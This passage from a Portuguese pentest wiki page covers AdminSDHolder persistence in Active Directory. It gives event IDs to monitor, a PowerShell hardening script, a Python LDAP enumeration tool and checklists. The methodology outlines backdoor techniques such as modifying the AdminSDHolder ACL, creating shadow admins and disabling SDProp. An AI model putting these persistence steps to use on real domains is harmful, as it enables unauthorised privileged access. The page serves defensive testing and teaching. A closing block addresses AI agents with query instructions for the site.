Write-Host "`n✅ Verificação concluída!" -ForegroundColor Green
```

### **Eventos de Segurança para Monitorar**

```yaml
Eventos Críticos:
  5136: Modificação de objeto AD
    - Monitorar alterações no AdminSDHolder
    - Verificar quem modificou e quando
  
  5137: Criação de objeto AD
    - Monitorar criação de novos objetos com adminCount
  
  4662: Operação em objeto AD
    - Verificar acessos não autorizados ao AdminSDHolder
  
  4670: Modificação de permissões
    - Monitorar alterações de ACL

Eventos de Replicação:
  1962: Início de replicação
  1963: Fim de replicação
  - Monitorar latência de replicação anormal

Eventos de SDProp:
  1126: SDProp iniciado
  1127: SDProp concluído
  - Monitorar execução do SDProp
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening do AdminSDHolder**

```powershell
# hardening_adminsdholder.ps1 - Hardening do AdminSDHolder

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening do AdminSDHolder..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Verificar ACL do AdminSDHolder
Write-Step "1. Verificando ACL do AdminSDHolder..."

$adminsdholder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"
$acl = Get-Acl $adminsdholder

$allowedPrincipals = @(
    "NT AUTHORITY\SYSTEM",
    "BUILTIN\Administrators",
    "DOMAIN\Domain Admins",
    "DOMAIN\Enterprise Admins",
    "DOMAIN\Schema Admins"
)

$suspicious = $acl.Access | Where-Object {
    $_.IdentityReference -notin $allowedPrincipals -and
    $_.ActiveDirectoryRights -eq "GenericAll"
}

if ($suspicious) {
    Write-Host "   ⚠️  Entradas suspeitas encontradas:"
    $suspicious | ForEach-Object {
        Write-Host "      $($_.IdentityReference) - $($_.ActiveDirectoryRights)"
    }
    
    if ($Apply) {
        foreach ($entry in $suspicious) {
            $acl.RemoveAccessRule($entry)
        }
        Set-Acl -Path $adminsdholder -AclObject $acl
        Write-Host "   ✅ ACL restaurada"
    }
} else {
    Write-Host "   ✅ ACL OK"
}

# 2. Configurar SDProp corretamente
Write-Step "2. Configurando SDProp..."

$sdpropKey = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
$currentInterval = Get-ItemProperty -Path $sdpropKey -Name "AdminSDProtectFrequency" -ErrorAction SilentlyContinue

if ($currentInterval.AdminSDProtectFrequency -ne 3600) {
    Write-Host "   ⚠️  Intervalo atual: $($currentInterval.AdminSDProtectFrequency) segundos"
    
    if ($Apply) {
        Set-ItemProperty -Path $sdpropKey -Name "AdminSDProtectFrequency" -Value 3600 -Type DWord
        Write-Host "   ✅ SDProp configurado para 60 minutos"
    }
} else {
    Write-Host "   ✅ SDProp configurado corretamente"
}

# 3. Configurar monitoring de adminCount
Write-Step "3. Configurando monitoring de adminCount..."

$monitorScript = @'
# Monitor de adminCount
$users = Get-ADUser -Filter {adminCount -eq 1} -Properties adminCount, memberOf
foreach ($user in $users) {
    $isPrivileged = $false
    foreach ($group in $user.memberOf) {
        if ($group -like "*Domain Admins*" -or $group -like "*Enterprise Admins*" -or $group -like "*Schema Admins*") {
            $isPrivileged = $true
            break
        }
    }
    if (-not $isPrivileged) {
        Write-EventLog -LogName "Security" -Source "AD Monitoring" -EventId 5001 -EntryType Warning -Message "Usuário $($user.Name) com adminCount=1 sem estar em grupo privilegiado"
    }
}
'@

if ($Apply) {
    # Criar tarefa agendada para monitoramento
    $action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"$monitorScript`""
    $trigger = New-ScheduledTaskTrigger -Daily -At "00:00"
    $principal = New-ScheduledTaskPrincipal -UserID "SYSTEM" -LogonType ServiceAccount
    Register-ScheduledTask -TaskName "AdminCountMonitor" -Action $action -Trigger $trigger -Principal $principal -Force
    Write-Host "   ✅ Monitor de adminCount configurado"
}

# 4. Configurar alertas
Write-Step "4. Configurando alertas de segurança..."

if ($Apply) {
    # Configurar SACL para AdminSDHolder
    $sd = Get-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=com" -Properties nTSecurityDescriptor
    $acl = $sd.nTSecurityDescriptor
    
    # Adicionar SACL para auditoria de modificações
    # (Implementação avançada)
    
    Write-Host "   ✅ SACL configurada para auditoria"
}

Write-Step "Hardening concluído!" -ForegroundColor Green

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Políticas Recomendadas:

  Gerenciamento de ACL:
    ✅ Revisar ACL do AdminSDHolder trimestralmente
    ✅ Remover entradas não autorizadas
    ✅ Documentar todas as modificações
    ✅ Aplicar princípio do menor privilégio

  Monitoramento:
    ✅ Alertar sobre modificações no AdminSDHolder
    ✅ Monitorar criação de objetos com adminCount=1
    ✅ Verificar regularmente usuários com adminCount inesperado
    ✅ Auditar eventos 5136 e 4670

  Resposta a Incidentes:
    ✅ Investigar imediatamente modificações suspeitas
    ✅ Restaurar ACL do AdminSDHolder
    ✅ Verificar todos os objetos protegidos
    ✅ Remover backdoors identificados

  Hardening:
    ✅ Configurar SDProp com intervalo adequado
    ✅ Habilitar auditoria de AD
    ✅ Implementar monitoramento contínuo
    ✅ Revisar permissões regularmente
```

***

## 🔬 **Pentesting com AdminSDHolder**

### **Metodologia de Teste**

```yaml
Fases do Teste de AdminSDHolder:

  FASE 1 - Enumeração:
    - Identificar objeto AdminSDHolder
    - Mapear objetos com adminCount=1
    - Analisar ACL do AdminSDHolder
    - Verificar configuração do SDProp

  FASE 2 - Análise de ACL:
    - Identificar entradas não padrão
    - Verificar permissões excessivas
    - Buscar backdoors existentes

  FASE 3 - Teste de Exploração:
    - Tentar modificar ACL do AdminSDHolder
    - Testar criação de shadow admin
    - Verificar propagação SDProp

  FASE 4 - Validação:
    - Confirmar persistência do backdoor
    - Verificar acesso a objetos protegidos
    - Documentar impacto
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# adminsdholder_pentest.py - Pentest automatizado do AdminSDHolder

import ldap3
from ldap3 import Server, Connection, ALL
import sys
import argparse

class AdminSDHolderPentest:
    """Ferramenta de pentest para AdminSDHolder"""
    
    def __init__(self, domain_controller, username, password):
        self.server = Server(domain_controller, get_info=ALL)
        self.conn = Connection(self.server, user=username, password=password, auto_bind=True)
        self.base_dn = self._get_base_dn()
        self.findings = []
    
    def _get_base_dn(self):
        """Obter DN base do domínio"""
        return self.server.info.other['defaultNamingContext'][0]
    
    def get_adminsdholder_dn(self):
        """Obter DN do AdminSDHolder"""
        return f"CN=AdminSDHolder,CN=System,{self.base_dn}"
    
    def enum_adminsdholder(self):
        """Enumerar configuração do AdminSDHolder"""
        print("[*] Enumerando AdminSDHolder...")
        
        adminsdholder_dn = self.get_adminsdholder_dn()
        
        self.conn.search(
            adminsdholder_dn,
            '(objectClass=*)',
            attributes=['*']
        )
        
        if self.conn.entries:
            entry = self.conn.entries[0]
            print(f"   DN: {entry.entry_dn}")
            print(f"   ObjectClass: {entry['objectClass']}")
            
            # Verificar ACL
            if 'nTSecurityDescriptor' in entry:
                print(f"   ACL presente: {len(entry['nTSecurityDescriptor'])} bytes")
            
            return entry
        return None
    
    def enum_protected_objects(self):
        """Enumerar objetos protegidos"""
        print("\n[*] Enumerando objetos protegidos...")
        
        # Usuários protegidos
        self.conn.search(
            self.base_dn,
            '(&(objectClass=user)(adminCount=1))',
            attributes=['sAMAccountName', 'distinguishedName', 'memberOf']
        )
        
        users = []
        for entry in self.conn.entries:
            users.append({
                'sam': str(entry['sAMAccountName']),
                'dn': str(entry['distinguishedName'])
            })
        
        # Grupos protegidos
        self.conn.search(
            self.base_dn,
            '(&(objectClass=group)(adminCount=1))',
            attributes=['sAMAccountName', 'distinguishedName']
        )
        
        groups = []
        for entry in self.conn.entries:
            groups.append({
                'sam': str(entry['sAMAccountName']),
                'dn': str(entry['distinguishedName'])
            })
        
        print(f"   Usuários protegidos: {len(users)}")
        print(f"   Grupos protegidos: {len(groups)}")
        
        # Verificar usuários com adminCount sem estar em grupos privilegiados
        suspicious = [u for u in users if not self._is_privileged(u['dn'])]
        
        if suspicious:
            print(f"\n   ⚠️  Usuários com adminCount sem privilégios: {len(suspicious)}")
            for user in suspicious[:5]:
                print(f"      • {user['sam']}")
            self.findings.append({
                'type': 'SUSPICIOUS_ADMINCOUNT',
                'details': suspicious
            })
        
        return {'users': users, 'groups': groups}
    
    def _is_privileged(self, user_dn):
        """Verificar se usuário está em grupo privilegiado"""
        self.conn.search(
            user_dn,
            '(objectClass=user)',
            attributes=['memberOf']
        )
        
        if self.conn.entries:
            entry = self.conn.entries[0]
            if 'memberOf' in entry:
                for group in entry['memberOf']:
                    if 'Domain Admins' in str(group) or 'Enterprise Admins' in str(group):
                        return True
        return False
    
    def check_adminsdholder_acl(self):
        """Verificar ACL do AdminSDHolder para backdoors"""
        print("\n[*] Verificando ACL do AdminSDHolder...")
        
        adminsdholder_dn = self.get_adminsdholder_dn()
        
        self.conn.search(
            adminsdholder_dn,
            '(objectClass=*)',
            attributes=['nTSecurityDescriptor']
        )
        
        if self.conn.entries:
            entry = self.conn.entries[0]
            # Em um pentest real, parsearia a ACL
            print("   ACL obtida para análise")
            
            # Lista de identidades esperadas
            expected = [
                "NT AUTHORITY\\SYSTEM",
                "BUILTIN\\Administrators",
                f"{self.base_dn.split(',')[0].replace('DC=', '')}\\Domain Admins",
                f"{self.base_dn.split(',')[0].replace('DC=', '')}\\Enterprise Admins"
            ]
            
            print(f"   Identidades esperadas: {', '.join(expected)}")
    
    def test_backdoor(self):
        """Testar se backdoor seria possível"""
        print("\n[*] Testando possibilidade de backdoor...")
        
        adminsdholder_dn = self.get_adminsdholder_dn()
        
        # Verificar permissões atuais
        self.conn.search(
            adminsdholder_dn,
            '(objectClass=*)',
            attributes=['nTSecurityDescriptor']
        )
        
        # Verificar se usuário atual tem permissão de modificar
        # Em um pentest real, verificaria a ACL para o usuário atual
        
        print("   ⚠️  Seria possível adicionar backdoor se o usuário tiver permissões")
        self.findings.append({
            'type': 'BACKDOOR_POSSIBLE',
            'details': 'Usuário pode ter permissão para modificar AdminSDHolder'
        })
    
    def run(self):
        """Executar pentest completo"""
        print("🚨 AdminSDHolder Pentest")
        print("=" * 60)
        
        self.enum_adminsdholder()
        self.enum_protected_objects()
        self.check_adminsdholder_acl()
        self.test_backdoor()
        
        self._print_report()
    
    def _print_report(self):
        """Imprimir relatório"""
        print("\n" + "=" * 60)
        print("📊 RELATÓRIO DE PENTEST")
        print("=" * 60)
        
        if not self.findings:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"🚨 {len(self.findings)} vulnerabilidade(s) encontrada(s):\n")
        
        for finding in self.findings:
            if finding['type'] == 'SUSPICIOUS_ADMINCOUNT':
                print("🔴 ADMINCOUNT SUSPEITO")
                print(f"   {len(finding['details'])} usuários com adminCount sem privilégios")
                for user in finding['details'][:3]:
                    print(f"      • {user['sam']}")
                print()
            
            elif finding['type'] == 'BACKDOOR_POSSIBLE':
                print("🔴 BACKDOOR POSSÍVEL")
                print(f"   {finding['details']}")
                print()
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Revisar ACL do AdminSDHolder")
        print("   • Remover adminCount de usuários não privilegiados")
        print("   • Implementar monitoramento de modificações")
        print("   • Configurar alertas para eventos 5136")
    
    def close(self):
        """Fechar conexão"""
        self.conn.unbind()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='AdminSDHolder Pentest Tool')
    parser.add_argument('dc', help='Domain Controller')
    parser.add_argument('user', help='Username')
    parser.add_argument('pass', help='Password')
    
    args = parser.parse_args()
    
    pentest = AdminSDHolderPentest(args.dc, args.user, getattr(args, 'pass'))
    pentest.run()
    pentest.close()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Revisar ACL do AdminSDHolder regularmente
* [ ] Remover entradas não autorizadas
* [ ] Configurar SDProp com intervalo padrão (60 min)
* [ ] Habilitar auditoria de AD
* [ ] Documentar todas as modificações

#### **Monitoramento**

* [ ] Monitorar eventos 5136 (modificações AD)
* [ ] Alertar sobre mudanças no AdminSDHolder
* [ ] Verificar adminCount em usuários não privilegiados
* [ ] Auditar logs de replicação

#### **Resposta a Incidentes**

* [ ] Investigar imediatamente modificações suspeitas
* [ ] Restaurar ACL do AdminSDHolder
* [ ] Verificar todos os objetos protegidos
* [ ] Remover backdoors identificados

### **Checklist para Pentesters**

#### **Enumeração**

* [ ] Identificar objeto AdminSDHolder
* [ ] Listar objetos com adminCount=1
* [ ] Analisar ACL do AdminSDHolder
* [ ] Verificar configuração do SDProp

#### **Testes**

* [ ] Testar modificação da ACL do AdminSDHolder
* [ ] Verificar persistência de backdoors
* [ ] Testar criação de shadow admin
* [ ] Validar propagação do SDProp

#### **Documentação**

* [ ] Documentar vulnerabilidades encontradas
* [ ] Detalhar impacto potencial
* [ ] Recomendar mitigações
* [ ] Fornecer evidências de exploração

***

## 📊 **Conclusão**

```yaml
AdminSDHolder no Active Directory:

  🔴 Principais Vetores:
    - Modificação da ACL do AdminSDHolder
    - Manipulação de adminCount
    - Criação de shadow admins
    - Desabilitação do SDProp

  🛡️ Mitigações Essenciais:
    - Monitorar ACL do AdminSDHolder
    - Alertar sobre modificações suspeitas
    - Revisar adminCount regularmente
    - Configurar SDProp corretamente

  🎯 Prioridade:
    - CRÍTICA: ACL do AdminSDHolder
    - ALTA: adminCount em usuários não privilegiados
    - MÉDIA: Configuração do SDProp
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/adminsdholder.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
